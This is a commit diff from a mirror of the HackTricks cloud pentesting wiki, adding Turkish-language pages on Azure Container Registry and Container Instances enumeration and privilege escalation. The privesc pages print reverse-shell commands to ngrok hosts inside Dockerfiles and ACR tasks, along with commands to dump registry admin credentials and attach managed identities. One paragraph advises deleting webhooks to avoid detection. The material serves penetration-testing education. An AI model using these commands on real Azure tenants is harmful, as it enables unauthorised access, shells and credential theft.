mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
+8
-4
@@ -408,6 +408,8 @@
|
||||
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
|
||||
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
|
||||
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
|
||||
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md)
|
||||
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-instances.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md)
|
||||
- [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
|
||||
- [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
|
||||
@@ -445,7 +447,7 @@
|
||||
- [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
|
||||
- [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
|
||||
- [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-post-exploitation.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md)
|
||||
- [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
|
||||
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
|
||||
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
|
||||
@@ -460,14 +462,16 @@
|
||||
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
|
||||
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
|
||||
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md)
|
||||
- [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-services/az-container-registry-privesc.md)
|
||||
- [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-services/az-container-instances-privesc.md)
|
||||
- [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md)
|
||||
- [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md)
|
||||
- [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
|
||||
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
|
||||
- [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md)
|
||||
- [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md)
|
||||
- [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md)
|
||||
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md)
|
||||
- [Az - MySQL Privesc](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md)
|
||||
- [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md)
|
||||
- [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md)
|
||||
- [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md)
|
||||
- [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md)
|
||||
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 33 KiB |
+64
@@ -0,0 +1,64 @@
|
||||
# Az - Azure Container Instances Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Container Instances
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-container-instances.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`
|
||||
|
||||
Bu izinler, kullanıcının **çalışan bir konteynerde bir komut çalıştırmasına** olanak tanır. Bu, konteynerde herhangi bir yönetilen kimlik varsa **yetki yükseltmek** için kullanılabilir. Elbette, konteynerin içinde depolanan kaynak koduna ve diğer hassas bilgilere erişmek de mümkündür.
|
||||
|
||||
Bir `ls` komutu çalıştırmak ve çıktısını almak oldukça basittir:
|
||||
```bash
|
||||
az container exec --name <container-name> --resource-group <res-group> --exec-command 'ls'
|
||||
```
|
||||
Aynı zamanda konteynerin **çıkışını okumak** da mümkündür:
|
||||
```bash
|
||||
az container attach --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
Veya logları şu şekilde alabilirsiniz:
|
||||
```bash
|
||||
az container logs --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Bu izinler, bir **kullanıcı yönetilen kimliğini** bir konteyner grubuna eklemeye olanak tanır. Bu, konteynerde ayrıcalıkları artırmak için çok faydalıdır.
|
||||
|
||||
Bir kullanıcı yönetilen kimliğini bir konteyner grubuna eklemek için:
|
||||
```bash
|
||||
az rest \
|
||||
--method PATCH \
|
||||
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
|
||||
--body '{
|
||||
"identity": {
|
||||
"type": "UserAssigned",
|
||||
"userAssignedIdentities": {
|
||||
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
|
||||
}
|
||||
}
|
||||
}' \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Bu izinler, **bir kullanıcı yönetilen kimliği** eklenmiş bir **konteyner grubunu oluşturma veya güncelleme** olanağı sağlar. Bu, konteynerde ayrıcalıkları artırmak için çok faydalıdır.
|
||||
```bash
|
||||
az container create \
|
||||
--resource-group <res-group>> \
|
||||
--name nginx2 \
|
||||
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
|
||||
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
|
||||
--restart-policy OnFailure \
|
||||
--os-type Linux \
|
||||
--cpu 1 \
|
||||
--memory 1.0
|
||||
```
|
||||
Ayrıca, mevcut bir konteyner grubunu güncellemek de mümkündür; örneğin, bir ters shell ile **`--command-line` argümanını** ekleyerek.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+115
@@ -0,0 +1,115 @@
|
||||
# Az - Azure Container Registry Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Container Registry
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-container-registry.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.ContainerRegistry/registries/listCredentials/action`
|
||||
|
||||
Bu izin, kullanıcının ACR'nin yönetici kimlik bilgilerini listelemesine olanak tanır. Bu, kayıt defteri üzerinde **tam erişim elde etmek** için faydalıdır.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
|
||||
```
|
||||
Eğer admin kimlik bilgileri etkin değilse, bunları etkinleştirmek için `Microsoft.ContainerRegistry/registries/write` iznine de ihtiyacınız olacak:
|
||||
```bash
|
||||
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/tokens/write`, `Microsoft.ContainerRegistry/registries/generateCredentials/action`
|
||||
|
||||
Bu izinler, kullanıcının **kayıt defterine erişmek için şifrelerle yeni bir token oluşturmasına** olanak tanır.
|
||||
|
||||
Aşağıdaki örnekte olduğu gibi `az cli` kullanarak bunu oluşturmak için ayrıca `Microsoft.ContainerRegistry/registries/read`, `Microsoft.ContainerRegistry/registries/scopeMaps/read`, `Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read`, `Microsoft.ContainerRegistry/registries/tokens/read` izinlerine de ihtiyacınız olacak.
|
||||
```bash
|
||||
az acr token create \
|
||||
--registry <registry-name> \
|
||||
--name <token-name> \
|
||||
--scope-map _repositories_admin
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action`, `Microsoft.ContainerRegistry/registries/scheduleRun/action`, `Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action`
|
||||
|
||||
Bu izinler, kullanıcının **kayıt defterinde bir görüntü oluşturmasına ve çalıştırmasına** olanak tanır. Bu, konteynerde **kod çalıştırmak için** kullanılabilir.
|
||||
|
||||
>[!WARNING]
|
||||
> Ancak, görüntü **sandbox ortamında** ve **metadata hizmetine erişim olmadan** çalıştırılacaktır. Bu, konteynerin **örnek metadata'sına** erişimi olmayacağı anlamına gelir, bu nedenle bu, ayrıcalıkları yükseltmek için gerçekten faydalı değildir.
|
||||
```bash
|
||||
# Build
|
||||
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
|
||||
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/tasks/write`
|
||||
|
||||
Bu, kayıt defterinde bir görev oluşturma ve güncelleme izni veren ana izindir. Bu, **buna bağlı bir yönetilen kimlik ile bir konteyner içinde bir kodu çalıştırmak için** kullanılabilir.
|
||||
|
||||
Bu, **sistem yönetilen** kimliği ile bir konteynerde bir ters shell çalıştırmanın bir örneğidir:
|
||||
```bash
|
||||
az acr task create \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task \
|
||||
--image rev/shell:v1 \
|
||||
--file ./Dockerfile \
|
||||
--context https://github.com/carlospolop/Docker-rev.git \
|
||||
--assign-identity \
|
||||
--commit-trigger-enabled false \
|
||||
--schedule "*/1 * * * *"
|
||||
```
|
||||
Bir görevi dış bir depo kullanmadan RCE elde etmenin başka bir yolu, `az acr task create` komutunu `--cmd` bayrağı ile kullanmaktır. Bu, konteynerde bir komut çalıştırmanıza olanak tanır. Örneğin, aşağıdaki komutla bir ters shell çalıştırabilirsiniz:
|
||||
```bash
|
||||
az acr task create \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task-cmd \
|
||||
--image rev/shell2:v1 \
|
||||
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
|
||||
--schedule "*/1 * * * *" \
|
||||
--context /dev/null \
|
||||
--commit-trigger-enabled false \
|
||||
--assign-identity
|
||||
```
|
||||
> [!TIP]
|
||||
> Sistem yönetilen kimliğini atamak için özel bir izne ihtiyacınız olmadığını unutmayın, ancak bunun önce kayıt defterinde etkinleştirilmiş ve kullanışlı olması için bazı izinler atanmış olması gerekir.
|
||||
|
||||
Ayrıca bir **kullanıcı yönetilen kimliği atamak için** `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` iznine ihtiyacınız olacaktır:
|
||||
```bash
|
||||
az acr task create \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task \
|
||||
--image rev/shell:v1 \
|
||||
--file ./Dockerfile \
|
||||
--context https://github.com/carlospolop/Docker-rev.git \
|
||||
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
|
||||
--commit-trigger-enabled false \
|
||||
--schedule "*/1 * * * *"
|
||||
```
|
||||
Mevcut bir görevin reposunu **güncellemek** için şunları yapabilirsiniz:
|
||||
```bash
|
||||
az acr task update \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task \
|
||||
--context https://github.com/your-user/your-repo.git
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/importImage/action`
|
||||
|
||||
Bu izinle, **görüntüyü azure kayıt defterine içe aktarmak** mümkündür, hatta görüntü yerel olarak mevcut olmasa bile. Ancak, **kayıt defterinde zaten mevcut olan bir etiketle görüntü içe aktaramayacağınızı** unutmayın.
|
||||
```bash
|
||||
# Push with az cli
|
||||
az acr import \
|
||||
--name <registry-name> \
|
||||
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
|
||||
```
|
||||
Belirli bir **görüntü etiketini etiketini kaldırmak veya silmek** için aşağıdaki komutu kullanabilirsiniz. Ancak, bunu yapmak için **yeterli izinlere** sahip bir kullanıcı veya token'a ihtiyacınız olacağını unutmayın:
|
||||
```bash
|
||||
az acr repository untag \
|
||||
--name <registry-name> \
|
||||
--image <image-name>:<tag>
|
||||
|
||||
az acr repository delete \
|
||||
--name <registry-name> \
|
||||
--image <image-name>:<tag>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,45 @@
|
||||
# Az - Container Instances
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
Azure Container Instances (ACI), Azure bulutunda **kapsayıcıları** çalıştırmak için **sunucusuz, talep üzerine bir yol** sunar. **Tekil veya bir grup içinde birden fazla kapsayıcıyı** **dağıtabilirsiniz** ve **ölçeklenebilir hesaplama**, **ağ seçenekleri** ve **diğer Azure hizmetleri** (Depolama, Sanal Ağlar veya Kapsayıcı Kayıtları gibi) ile bağlantı kurma esnekliğine sahip olursunuz.
|
||||
|
||||
**Geçici** iş yükleri oldukları için, temel VM altyapısını yönetmenize gerek yoktur — Azure bunu sizin için halleder. Ancak, **saldırgan güvenlik perspektifi** açısından, **izinler**, **kimlikler**, **ağ yapılandırmaları** ve **loglar** gibi unsurların saldırı yüzeylerini ve potansiyel yanlış yapılandırmaları nasıl ortaya çıkarabileceğini anlamak kritik öneme sahiptir.
|
||||
|
||||
### Yapılandırmalar
|
||||
|
||||
- Bir kapsayıcı oluşturmak için bir genel görüntü, bir Azure Container Registry'den bir kapsayıcı görüntüsü veya bir dış havuz kullanmak mümkündür; bu, erişim için **şifre yapılandırması** gerektirebilir.
|
||||
- Ağ ile ilgili olarak, **genel IP** veya **özel uç noktalar** olabilir.
|
||||
- Ayrıca, aşağıdaki gibi yaygın docker ayarlarını yapılandırmak da mümkündür:
|
||||
- **Ortam değişkenleri**
|
||||
- **Hacimler** (Azure Files'dan bile)
|
||||
- **Portlar**
|
||||
- **CPU ve bellek sınırları**
|
||||
- **Yeniden başlatma politikası**
|
||||
- **Yetkili olarak çalıştır**
|
||||
- **Çalıştırılacak komut satırı**
|
||||
- ...
|
||||
|
||||
## Sayım
|
||||
|
||||
> [!WARNING]
|
||||
> ACI'yi sayarken, **ortam değişkenleri**, **ağ detayları** veya **yönetilen kimlikler** gibi hassas yapılandırmaları ortaya çıkarabilirsiniz. Bunları kaydetme veya görüntüleme konusunda dikkatli olun.
|
||||
```bash
|
||||
# List all container instances in the subscription
|
||||
az container list
|
||||
|
||||
# Show detailed information about a specific container instance
|
||||
az container show --name <container-name> --resource-group <res-group>
|
||||
|
||||
# Fetch logs from a container
|
||||
az container logs --name <container-name> --resource-group <res-group>
|
||||
|
||||
# Execute a command in a running container and get the output
|
||||
az container exec --name <container-name> --resource-group <res-group> --exec-command "ls"
|
||||
|
||||
# Get yaml configuration of the container group
|
||||
az container export --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
@@ -0,0 +1,157 @@
|
||||
# Az - Container Registry
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
Azure Container Registry (ACR), **Azure bulutunda konteyner görüntülerini depolamanıza, yönetmenize ve erişmenize** olanak tanıyan güvenli, özel bir kayıttır. Birçok Azure hizmetiyle sorunsuz bir şekilde entegre olur ve ölçeklenebilir otomatik yapı ve dağıtım iş akışları sağlar. Coğrafi çoğaltma ve güvenlik açığı taraması gibi özelliklerle, ACR, konteynerleştirilmiş uygulamalar için kurumsal düzeyde güvenlik ve uyumluluk sağlamaya yardımcı olur.
|
||||
|
||||
### İzinler
|
||||
|
||||
Bir Container Registry üzerinde verilebilecek **farklı izinler** [belgelere göre](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager):
|
||||
|
||||
- Erişim Kaynak Yöneticisi
|
||||
- Kayıt oluşturma/silme
|
||||
- Görüntü yükleme
|
||||
- Görüntü indirme
|
||||
- Görüntü verilerini silme
|
||||
- Politika değiştirme
|
||||
- Görüntüleri imzalama
|
||||
|
||||
Ayrıca atanabilecek bazı **yerleşik roller** vardır ve **özel roller** oluşturmak da mümkündür.
|
||||
|
||||

|
||||
|
||||
### Kimlik Doğrulama
|
||||
|
||||
> [!WARNING]
|
||||
> Kayıt adında büyük harfler bulunsa bile, her zaman **küçük harfler** kullanarak giriş yapmanız, görüntü yüklemeniz ve indirmeniz çok önemlidir.
|
||||
|
||||
ACR'ye kimlik doğrulamak için 4 yol vardır:
|
||||
|
||||
- **Entra ID ile**: Bu, ACR'ye kimlik doğrulamak için **varsayılan** yoldur. ACR'ye kimlik doğrulamak için **`az acr login`** komutunu kullanır. Bu komut, **`~/.docker/config.json`** dosyasında **kimlik bilgilerini saklar**. Ayrıca, bu komutu bir **bulut kabuğu** gibi bir docker soketine erişimi olmayan bir ortamda çalıştırıyorsanız, ACR'ye kimlik doğrulamak için **`--expose-token`** bayrağını kullanarak **token** almanız mümkündür. Ardından kimlik doğrulamak için kullanıcı adı olarak `00000000-0000-0000-0000-000000000000` kullanmalısınız: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
|
||||
- **Bir yönetici hesabı ile**: Yönetici kullanıcı varsayılan olarak devre dışıdır, ancak etkinleştirilebilir ve ardından kayıt defterine tam izinlerle yönetici hesabının **kullanıcı adı** ve **şifresi** ile erişim sağlanabilir. Bazı Azure hizmetleri bunu kullandığı için bu hala desteklenmektedir. Bu kullanıcı için **2 şifre** oluşturulur ve her ikisi de geçerlidir. Bunu `az acr update -n <acrName> --admin-enabled true` ile etkinleştirebilirsiniz. Kullanıcı adının genellikle kayıt adı olduğunu unutmayın (ve `admin` değildir).
|
||||
- **Bir token ile**: Kayıt defterine erişmek için **belirli bir `scope map`** (izinler) ile bir **token** oluşturmak mümkündür. Ardından, bu token adını kullanıcı adı olarak ve oluşturulan şifrelerden birini kullanarak kayıt defterine kimlik doğrulamak için `docker login -u <registry-name> -p <password> aregistry-url>` komutunu kullanabilirsiniz.
|
||||
- **Bir Hizmet Prensibi ile**: Bir **hizmet prensibi** oluşturmak ve görüntüleri çekmek için **`AcrPull`** gibi bir rol atamak mümkündür. Ardından, SP appId'sini kullanıcı adı olarak ve oluşturulan bir gizli anahtarı şifre olarak kullanarak **kayıt defterine giriş yapmak** mümkün olacaktır.
|
||||
|
||||
Kayıt defterine erişim sağlayan bir SP oluşturmak için [belgelerden](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) örnek bir komut dosyası:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ACR_NAME=$containerRegistry
|
||||
SERVICE_PRINCIPAL_NAME=$servicePrincipal
|
||||
|
||||
# Obtain the full registry ID
|
||||
ACR_REGISTRY_ID=$(az acr show --name $ACR_NAME --query "id" --output tsv)
|
||||
|
||||
PASSWORD=$(az ad sp create-for-rbac --name $SERVICE_PRINCIPAL_NAME --scopes $ACR_REGISTRY_ID --role acrpull --query "password" --output tsv)
|
||||
USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].appId" --output tsv)
|
||||
|
||||
echo "Service principal ID: $USER_NAME"
|
||||
echo "Service principal password: $PASSWORD"
|
||||
```
|
||||
### Şifreleme
|
||||
|
||||
Sadece **Premium SKU**, görüntüler ve diğer nesneler için **veri dinleniminde şifreleme** desteği sunar.
|
||||
|
||||
### Ağ
|
||||
|
||||
Sadece **Premium SKU**, **özel uç noktalar** destekler. Diğerleri yalnızca **genel erişim** destekler. Genel bir uç nokta `<registry-name>.azurecr.io` formatındadır ve özel bir uç nokta `<registry-name>.privatelink.azurecr.io` formatındadır. Bu nedenle, kayıt defterinin adı tüm Azure genelinde benzersiz olmalıdır.
|
||||
|
||||
### Microsoft Defender for Cloud
|
||||
|
||||
Bu, kayıt defterindeki **görüntüleri** **zafiyetler** için **taramanıza** olanak tanır.
|
||||
|
||||
### Yumuşak silme
|
||||
|
||||
**Yumuşak silme** özelliği, belirtilen gün sayısı içinde **silinmiş bir kayıt defterini** **geri yüklemenize** olanak tanır. Bu özellik **varsayılan olarak devre dışıdır**.
|
||||
|
||||
### Webhook'lar
|
||||
|
||||
Kayıt defterleri içinde **webhook'lar** oluşturmak mümkündür. Bu webhook'ta, bir **push veya silme işlemi gerçekleştirildiğinde bir isteğin gönderileceği URL'yi** belirtmek gerekir. Ayrıca, Webhook'lar etkilenecek depoları (görüntüleri) belirtmek için bir kapsam gösterebilir. Örneğin, 'foo:*' 'foo' deposundaki olayları ifade eder.
|
||||
|
||||
Saldırganlar açısından, kayıt defterinde herhangi bir işlem gerçekleştirmeden önce bunu kontrol etmek ve gerekirse geçici olarak kaldırmak ilginçtir, böylece tespit edilmekten kaçınılır.
|
||||
|
||||
### Bağlı kayıt defterleri
|
||||
|
||||
Bu, bir kayıt defterinden diğerine, genellikle yerel olarak bulunan bir kayıt defterine **görüntüleri yansıtmanıza** olanak tanır.
|
||||
|
||||
2 modu vardır: **Sadece Okuma** ve **Okuma-Yazma**. İlkinde, görüntüler yalnızca kaynak kayıt defterinden **çekilir**, ikincisinde ise görüntüler kaynak kayıt defterine de **itilebilir**.
|
||||
|
||||
Müşterilerin Azure'dan kayıt defterine erişmesi için, bağlı kayıt defteri kullanıldığında bir **token** oluşturulur.
|
||||
|
||||
### Çalışmalar & Görevler
|
||||
|
||||
Çalışmalar & Görevler, Azure'da genellikle yerel olarak veya bir CI/CD boru hattında yapmanız gereken konteynerle ilgili eylemleri gerçekleştirmenizi sağlar. Örneğin, kayıt defterinde **görüntüleri oluşturabilir, itebilir ve çalıştırabilirsiniz**.
|
||||
|
||||
Bir konteyneri oluşturmanın ve çalıştırmanın en kolay yolu, normal bir Çalışma kullanmaktır:
|
||||
```bash
|
||||
# Build
|
||||
echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
|
||||
az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --file Dockerfile .
|
||||
|
||||
# Run
|
||||
az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
|
||||
```
|
||||
Ancak, bu, saldırganlar açısından çok ilginç olmayan çalışmaları tetikleyecektir çünkü onlara bağlı herhangi bir yönetilen kimlik yoktur.
|
||||
|
||||
Ancak, **görevler** bir **sistem ve kullanıcı yönetilen kimliği** ile ilişkilendirilebilir. Bu görevler, konteynerde **yetki yükseltmek** için faydalıdır. Yetki yükseltme bölümünde, görevlerin nasıl kullanılacağını görebilirsiniz.
|
||||
|
||||
### Önbellek
|
||||
|
||||
Önbellek özelliği, **harici bir depodan görüntüleri indirmeye** ve yeni sürümleri kaydetmeye olanak tanır. Bunun için, Azure Vault'tan kimlik bilgilerini seçerek bazı **kimlik bilgileri yapılandırılmış** olmalıdır.
|
||||
|
||||
Bu, saldırganlar açısından çok ilginçtir çünkü yeterli izinlere sahip bir saldırgan, kimlik bilgilerine erişim sağlarsa, **harici bir platforma geçiş yapabilir**, **harici bir depodan görüntüleri indirebilir** ve bir önbellek yapılandırmak **kalıcılık mekanizması** olarak da kullanılabilir.
|
||||
|
||||
## Sayım
|
||||
|
||||
> [!WARNING]
|
||||
> Kayıt adının bazı büyük harfler içermesi durumunda, ona erişmek için yalnızca küçük harfler kullanmanız çok önemlidir.
|
||||
```bash
|
||||
# List of all the registries
|
||||
# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
|
||||
az acr list
|
||||
|
||||
# Get the details of a registry
|
||||
az acr show --name <registry-name>
|
||||
|
||||
# List tokens of a registry
|
||||
az acr token list --registry <registry-name> --resource-group <res-group>
|
||||
|
||||
# List repositories in a registry
|
||||
az acr repository list --name <registry-name> --resource-group <res-group>
|
||||
|
||||
# List the tags of a repository
|
||||
az acr repository show-tags --repository <repository-name> --name <registry-name> --resource-group <res-group>
|
||||
|
||||
# List deleted repository tags
|
||||
## At the time of this writing there isn't yet any command to restore it
|
||||
az acr repository list-deleted --name <registry-name>
|
||||
|
||||
# List tasks
|
||||
## Check the git URL or the command
|
||||
az acr task list --registry <registry-name>
|
||||
|
||||
# List tasks runs
|
||||
az acr task list-runs --registry <registry-name>
|
||||
|
||||
# List connected registries
|
||||
az acr connected-registry list --registry <registry-name>
|
||||
|
||||
# List cache
|
||||
az acr cache list --registry <registry-name>
|
||||
|
||||
# Get cache details
|
||||
az acr cache show --name <cache-name> --registry <registry-name>
|
||||
```
|
||||
## Yetki Yükseltme & Sonrası İstismar
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-automation-accounts-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Referanslar
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)
|
||||
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user